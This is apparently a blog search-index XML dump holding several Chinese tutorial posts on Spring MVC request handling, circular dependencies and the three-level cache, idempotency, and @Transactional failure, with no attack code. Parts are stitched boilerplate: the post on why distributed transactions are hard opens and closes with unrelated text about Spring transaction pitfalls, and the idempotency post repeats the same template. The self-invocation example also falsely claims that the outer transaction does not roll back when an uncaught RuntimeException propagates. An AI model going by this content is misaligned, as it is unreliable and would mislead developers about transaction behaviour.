class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="返回值处理"><a href="#返回值处理" class="headerlink" title="返回值处理"></a>返回值处理</h2><h3 id="常用返回值处理器"><a href="#常用返回值处理器" class="headerlink" title="常用返回值处理器"></a>常用返回值处理器</h3><table><thead><tr><th>返回值类型</th><th>处理器</th><th>说明</th></tr></thead><tbody><tr><td>@ResponseBody</td><td>RequestResponseBodyMethodProcessor</td><td>JSON/XML 序列化</td></tr><tr><td>String</td><td>ViewNameMethodReturnValueHandler</td><td>视图名称</td></tr><tr><td>ModelAndView</td><td>ModelAndViewMethodReturnValueHandler</td><td>模型和视图</td></tr><tr><td>void</td><td>ViewNameMethodReturnValueHandler</td><td>默认视图</td></tr></tbody></table><h3 id="HttpMessageConverter"><a href="#HttpMessageConverter" class="headerlink" title="HttpMessageConverter"></a>HttpMessageConverter</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">@ResponseBody</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">RequestResponseBodyMethodProcessor</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">HttpMessageConverter</span><br><span class="line">    ├── MappingJackson2HttpMessageConverter  # JSON</span><br><span class="line">    ├── MappingJackson2XmlHttpMessageConverter  # XML</span><br><span class="line">    └── StringHttpMessageConverter           # String</span><br></pre></td></tr></table></figure><h2 id="Interceptor-执行顺序"><a href="#Interceptor-执行顺序" class="headerlink" title="Interceptor 执行顺序"></a>Interceptor 执行顺序</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">WebConfig</span> <span class="keyword">implements</span> <span class="title class_">WebMvcConfigurer</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addInterceptors</span><span class="params">(InterceptorRegistry registry)</span> &#123;</span><br><span class="line">        registry.addInterceptor(<span class="keyword">new</span> <span class="title class_">AuthInterceptor</span>())    <span class="comment">// 顺序 1</span></span><br><span class="line">                .addPathPatterns(<span class="string">&quot;/**&quot;</span>)</span><br><span class="line">                .excludePathPatterns(<span class="string">&quot;/login&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        registry.addInterceptor(<span class="keyword">new</span> <span class="title class_">LogInterceptor</span>())     <span class="comment">// 顺序 2</span></span><br><span class="line">                .addPathPatterns(<span class="string">&quot;/**&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">请求</span><br><span class="line">  |</span><br><span class="line">  ├── AuthInterceptor.preHandle()  -&gt; true</span><br><span class="line">  │     ├── LogInterceptor.preHandle()  -&gt; true</span><br><span class="line">  │     │     ├── Controller 执行</span><br><span class="line">  │     │     ├── LogInterceptor.postHandle()</span><br><span class="line">  │     ├── AuthInterceptor.postHandle()</span><br><span class="line">  │     ├── 视图渲染</span><br><span class="line">  │     ├── LogInterceptor.afterCompletion()</span><br><span class="line">  ├── AuthInterceptor.afterCompletion()</span><br></pre></td></tr></table></figure><h2 id="异常处理"><a href="#异常处理" class="headerlink" title="异常处理"></a>异常处理</h2><h3 id="ExceptionHandler"><a href="#ExceptionHandler" class="headerlink" title="@ExceptionHandler"></a>@ExceptionHandler</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@ControllerAdvice</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">GlobalExceptionHandler</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@ExceptionHandler(BusinessException.class)</span></span><br><span class="line">    <span class="meta">@ResponseBody</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;?&gt; handleBusiness(BusinessException e) &#123;</span><br><span class="line">        <span class="keyword">return</span> Result.fail(e.getCode(), e.getMessage());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@ExceptionHandler(Exception.class)</span></span><br><span class="line">    <span class="meta">@ResponseBody</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;?&gt; handleException(Exception e) &#123;</span><br><span class="line">        <span class="keyword">return</span> Result.fail(<span class="number">500</span>, <span class="string">&quot;系统错误&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="异常处理流程"><a href="#异常处理流程" class="headerlink" title="异常处理流程"></a>异常处理流程</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Controller 抛出异常</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">DispatcherServlet.processHandlerException()</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">遍历 HandlerExceptionResolver</span><br><span class="line">    ├── ExceptionHandlerExceptionResolver  # @ExceptionHandler</span><br><span class="line">    ├── ResponseStatusExceptionResolver     # @ResponseStatus</span><br><span class="line">    └── DefaultHandlerExceptionResolver   # Spring 默认异常</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">生成 ModelAndView 或重新抛出</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Spring MVC 的请求处理流程清晰分层：</p><ol><li><strong>DispatcherServlet</strong>：统一入口</li><li><strong>HandlerMapping</strong>：路由匹配</li><li><strong>HandlerAdapter</strong>：适配执行</li><li><strong>ArgumentResolver</strong>：参数解析</li><li><strong>Controller</strong>：业务处理</li><li><strong>ReturnValueHandler</strong>：返回值处理</li><li><strong>ViewResolver</strong>：视图解析</li><li><strong>Interceptor</strong>：横切处理</li></ol><p>理解这个流程，可以灵活扩展 Spring MVC 的功能，如自定义参数解析、返回值处理、异常处理等。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>分布式事务为什么难</title>
      <link href="//fen-bu-shi-shi-wu-wei-shi-me-nan/"/>
      <url>//fen-bu-shi-shi-wu-wei-shi-me-nan/</url>
      
        <content type="html"><![CDATA[<h1 id="分布式事务为什么难"><a href="#分布式事务为什么难" class="headerlink" title="分布式事务为什么难"></a>分布式事务为什么难</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring循环依赖与三级缓存</title>
      <link href="//spring-xun-huan-yi-lai-yu-san-ji-huan-cun/"/>
      <url>//spring-xun-huan-yi-lai-yu-san-ji-huan-cun/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring循环依赖与三级缓存"><a href="#Spring循环依赖与三级缓存" class="headerlink" title="Spring循环依赖与三级缓存"></a>Spring循环依赖与三级缓存</h1><p>循环依赖是 Spring 应用中常见的问题。理解 Spring 如何解决循环依赖，有助于排查 Bean 创建异常和设计更好的代码。</p><h2 id="什么是循环依赖"><a href="#什么是循环依赖" class="headerlink" title="什么是循环依赖"></a>什么是循环依赖</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">A</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> B b;  <span class="comment">// A 依赖 B</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">B</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> A a;  <span class="comment">// B 依赖 A</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">创建 A -&gt; 需要 B</span><br><span class="line">    -&gt; 创建 B -&gt; 需要 A</span><br><span class="line">        -&gt; 创建 A -&gt; 循环！</span><br></pre></td></tr></table></figure><h2 id="Spring-如何解决"><a href="#Spring-如何解决" class="headerlink" title="Spring 如何解决"></a>Spring 如何解决</h2><p>Spring 通过<strong>三级缓存</strong>解决 setter 注入的循环依赖。</p><h3 id="三级缓存结构"><a href="#三级缓存结构" class="headerlink" title="三级缓存结构"></a>三级缓存结构</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DefaultSingletonBeanRegistry</span> &#123;</span><br><span class="line">    <span class="comment">// 一级缓存：完整的单例 Bean</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Map&lt;String, Object&gt; singletonObjects = <span class="keyword">new</span> <span class="title class_">ConcurrentHashMap</span>&lt;&gt;(<span class="number">256</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 二级缓存：提前暴露的 Bean（未填充属性）</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Map&lt;String, Object&gt; earlySingletonObjects = <span class="keyword">new</span> <span class="title class_">ConcurrentHashMap</span>&lt;&gt;(<span class="number">16</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 三级缓存：Bean 的工厂（用于生成代理对象）</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Map&lt;String, ObjectFactory&lt;?&gt;&gt; singletonFactories = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">16</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="解决流程"><a href="#解决流程" class="headerlink" title="解决流程"></a>解决流程</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1. getBean(A)</span><br><span class="line">   ├── 标记 A 正在创建</span><br><span class="line">   ├── 实例化 A（调用构造器）</span><br><span class="line">   ├── 将 A 的 ObjectFactory 放入三级缓存</span><br><span class="line">   ├── 填充 A 的属性 -&gt; 发现需要 B</span><br><span class="line">   │</span><br><span class="line">   ├── getBean(B)</span><br><span class="line">   │   ├── 标记 B 正在创建</span><br><span class="line">   │   ├── 实例化 B</span><br><span class="line">   │   ├── 将 B 的 ObjectFactory 放入三级缓存</span><br><span class="line">   │   ├── 填充 B 的属性 -&gt; 发现需要 A</span><br><span class="line">   │   │</span><br><span class="line">   │   ├── getBean(A)</span><br><span class="line">   │   │   ├── 从三级缓存获取 A 的 ObjectFactory</span><br><span class="line">   │   │   ├── 执行 getObject() -&gt; 获取 A 的早期引用</span><br><span class="line">   │   │   └── 将 A 放入二级缓存，从三级缓存删除</span><br><span class="line">   │   │</span><br><span class="line">   │   ├── B 的属性填充完成（A 的早期引用）</span><br><span class="line">   │   ├── B 初始化完成</span><br><span class="line">   │   └── 将 B 放入一级缓存</span><br><span class="line">   │</span><br><span class="line">   ├── A 的属性填充完成（B 的完整引用）</span><br><span class="line">   ├── A 初始化完成</span><br><span class="line">   └── 将 A 放入一级缓存</span><br></pre></td></tr></table></figure><h3 id="关键代码"><a href="#关键代码" class="headerlink" title="关键代码"></a>关键代码</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">protected</span> Object <span class="title function_">getSingleton</span><span class="params">(String beanName, <span class="type">boolean</span> allowEarlyReference)</span> &#123;</span><br><span class="line">    <span class="comment">// 1. 从一级缓存获取</span></span><br><span class="line">    <span class="type">Object</span> <span class="variable">singletonObject</span> <span class="operator">=</span> <span class="built_in">this</span>.singletonObjects.get(beanName);</span><br><span class="line">    <span class="keyword">if</span> (singletonObject == <span class="literal">null</span> &amp;&amp; isSingletonCurrentlyInCreation(beanName)) &#123;</span><br><span class="line">        <span class="keyword">synchronized</span> (<span class="built_in">this</span>.singletonObjects) &#123;</span><br><span class="line">            singletonObject = <span class="built_in">this</span>.singletonObjects.get(beanName);</span><br><span class="line">            <span class="keyword">if</span> (singletonObject == <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="comment">// 2. 从二级缓存获取</span></span><br><span class="line">                singletonObject = <span class="built_in">this</span>.earlySingletonObjects.get(beanName);</span><br><span class="line">                <span class="keyword">if</span> (singletonObject == <span class="literal">null</span> &amp;&amp; allowEarlyReference) &#123;</span><br><span class="line">                    <span class="comment">// 3. 从三级缓存获取</span></span><br><span class="line">                    ObjectFactory&lt;?&gt; singletonFactory = <span class="built_in">this</span>.singletonFactories.get(beanName);</span><br><span class="line">                    <span class="keyword">if</span> (singletonFactory != <span class="literal">null</span>) &#123;</span><br><span class="line">                        singletonObject = singletonFactory.getObject();</span><br><span class="line">                        <span class="comment">// 升级到二级缓存</span></span><br><span class="line">                        <span class="built_in">this</span>.earlySingletonObjects.put(beanName, singletonObject);</span><br><span class="line">                        <span class="built_in">this</span>.singletonFactories.remove(beanName);</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> singletonObject;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="构造器循环依赖无法解决"><a href="#构造器循环依赖无法解决" class="headerlink" title="构造器循环依赖无法解决"></a>构造器循环依赖无法解决</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">A</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> B b;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">A</span><span class="params">(B b)</span> &#123;  <span class="comment">// 构造器注入</span></span><br><span class="line">        <span class="built_in">this</span>.b = b;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">B</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> A a;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">B</span><span class="params">(A a)</span> &#123;  <span class="comment">// 构造器注入</span></span><br><span class="line">        <span class="built_in">this</span>.a = a;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>原因</strong>：</p><ul><li>构造器注入时，对象必须先完全创建才能暴露</li><li>但 A 创建需要 B，B 创建需要 A</li><li>无法像 setter 注入那样先暴露早期引用</li></ul><p><strong>错误</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">BeanCurrentlyInCreationException: </span><br><span class="line">Error creating bean with name &#x27;A&#x27;: Requested bean is currently in creation</span><br></pre></td></tr></table></figure><h3 id="解决方案"><a href="#解决方案" class="headerlink" title="解决方案"></a>解决方案</h3><h4 id="方案1：改为-Setter-注入"><a href="#方案1：改为-Setter-注入" class="headerlink" title="方案1：改为 Setter 注入"></a>方案1：改为 Setter 注入</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">A</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> B b;  <span class="comment">// setter/field 注入</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="方案2：使用-Lazy"><a href="#方案2：使用-Lazy" class="headerlink" title="方案2：使用 @Lazy"></a>方案2：使用 @Lazy</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">A</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> B b;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">A</span><span class="params">(<span class="meta">@Lazy</span> B b)</span> &#123;  <span class="comment">// 延迟注入</span></span><br><span class="line">        <span class="built_in">this</span>.b = b;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>原理</strong>：注入的是 B 的代理对象，延迟到真正使用时才创建。</p><h4 id="方案3：重新设计（推荐）"><a href="#方案3：重新设计（推荐）" class="headerlink" title="方案3：重新设计（推荐）"></a>方案3：重新设计（推荐）</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 提取公共逻辑到 C</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">C</span> &#123;</span><br><span class="line">    <span class="comment">// 公共方法</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">A</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> C c;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">B</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> C c;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="三级缓存的设计原因"><a href="#三级缓存的设计原因" class="headerlink" title="三级缓存的设计原因"></a>三级缓存的设计原因</h2><h3 id="为什么需要三级？"><a href="#为什么需要三级？" class="headerlink" title="为什么需要三级？"></a>为什么需要三级？</h3><p><strong>只用一级缓存</strong>：</p><ul><li>问题：循环依赖时，A 还没创建完就被 B 引用，一级缓存中是完整的 Bean</li><li>解决：需要提前暴露未完成的 Bean</li></ul><p><strong>只用二级缓存</strong>：</p><ul><li>问题：如果 A 需要代理，提前暴露的应该是代理对象</li><li>二级缓存直接存对象，无法处理代理</li></ul><p><strong>三级缓存</strong>：</p><ul><li>三级存 <code>ObjectFactory</code>，可以决定暴露原始对象还是代理对象</li><li><code>AbstractAutowireCapableBeanFactory.getEarlyBeanReference()</code> 处理代理</li></ul><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">addSingletonFactory(beanName, () -&gt; getEarlyBeanReference(beanName, mbd, bean));</span><br><span class="line"></span><br><span class="line"><span class="keyword">protected</span> Object <span class="title function_">getEarlyBeanReference</span><span class="params">(String beanName, RootBeanDefinition mbd, Object bean)</span> &#123;</span><br><span class="line">    <span class="type">Object</span> <span class="variable">exposedObject</span> <span class="operator">=</span> bean;</span><br><span class="line">    <span class="comment">// 如果配置了 SmartInstantiationAwareBeanPostProcessor（如AOP）</span></span><br><span class="line">    <span class="comment">// 返回代理对象</span></span><br><span class="line">    <span class="keyword">for</span> (BeanPostProcessor bp : getBeanPostProcessors()) &#123;</span><br><span class="line">        <span class="keyword">if</span> (bp <span class="keyword">instanceof</span> SmartInstantiationAwareBeanPostProcessor) &#123;</span><br><span class="line">            <span class="type">SmartInstantiationAwareBeanPostProcessor</span> <span class="variable">ibp</span> <span class="operator">=</span> </span><br><span class="line">                (SmartInstantiationAwareBeanPostProcessor) bp;</span><br><span class="line">            exposedObject = ibp.getEarlyBeanReference(exposedObject, beanName);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> exposedObject;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="多例循环依赖"><a href="#多例循环依赖" class="headerlink" title="多例循环依赖"></a>多例循环依赖</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Scope(&quot;prototype&quot;)</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">A</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> B b;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Scope(&quot;prototype&quot;)</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">B</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> A a;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>问题</strong>：</p><ul><li>多例 Bean 不缓存，每次创建都是新的</li><li>每次 getBean(A) 都要创建新的 A，创建 A 需要新的 B，创建 B 需要新的 A</li><li>无限循环</li></ul><p><strong>解决</strong>：</p><ul><li>避免多例 Bean 的循环依赖</li><li>或使用 @Lazy</li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>场景</th><th>能否解决</th><th>方案</th></tr></thead><tbody><tr><td>单例 setter 循环依赖</td><td>可以</td><td>三级缓存</td></tr><tr><td>单例构造器循环依赖</td><td>不可以</td><td>改 setter / @Lazy / 重构</td></tr><tr><td>多例循环依赖</td><td>不可以</td><td>避免 / @Lazy</td></tr></tbody></table><p>三级缓存的设计精妙之处：</p><ol><li><strong>一级</strong>：保证单例唯一</li><li><strong>二级</strong>：支持提前暴露</li><li><strong>三级</strong>：支持代理对象的提前暴露</li></ol><p>理解循环依赖的解决机制，有助于写出更健壮的 Spring 代码。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>接口幂等性设计从业务开始</title>
      <link href="//jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/"/>
      <url>//jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/</url>
      
        <content type="html"><![CDATA[<h1 id="接口幂等性设计从业务开始"><a href="#接口幂等性设计从业务开始" class="headerlink" title="接口幂等性设计从业务开始"></a>接口幂等性设计从业务开始</h1><p>接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring事务失效的常见原因</title>
      <link href="//spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/"/>
      <url>//spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring事务失效的常见原因"><a href="#Spring事务失效的常见原因" class="headerlink" title="Spring事务失效的常见原因"></a>Spring事务失效的常见原因</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="原因1：同类方法调用"><a href="#原因1：同类方法调用" class="headerlink" title="原因1：同类方法调用"></a>原因1：同类方法调用</h2><p>#</p><h2 id="问题"><a href="#问题" class="headerlink" title="问题"></a>问题</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> &#123;</span><br><span class="line">        orderDao.save(order);</span><br><span class="line">        updateStock();  <span class="comment">// 同类调用，不走代理！</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Transactional(rollbackFor = Exception.class)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateStock</span><span class="params">()</span> &#123;</span><br><span class="line">        stockDao.deduct(stock);</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;库存不足&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>结果</strong>：updateStock 抛异常，但 createOrder 的事务不回滚！</p><p>#</p><h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">外部调用 createOrder()</span><br><span class="line">    └── OrderServiceProxy.createOrder()  ← 代理，开启事务</span><br><span class="line">        └── OrderService.createOrder()  ← 目标对象</span><br><span class="line">            └── this.updateStock()  ← 直接调用，不走代理</span><br><span class="line">                └── 事务不生效</span><br></pre></td></tr></table></figure><p>#</p><h2 id="解决"><a href="#解决" class="headerlink" title="解决"></a>解决</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> ApplicationContext context;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> &#123;</span><br><span class="line">        orderDao.save(order);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 通过代理调用</span></span><br><span class="line">        <span class="type">OrderService</span> <span class="variable">proxy</span> <span class="operator">=</span> context.getBean(OrderService.class);</span><br><span class="line">        proxy.updateStock();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>或注入自身：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> OrderService self;  <span class="comment">// 注入代理对象</span></span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> &#123;</span><br><span class="line">        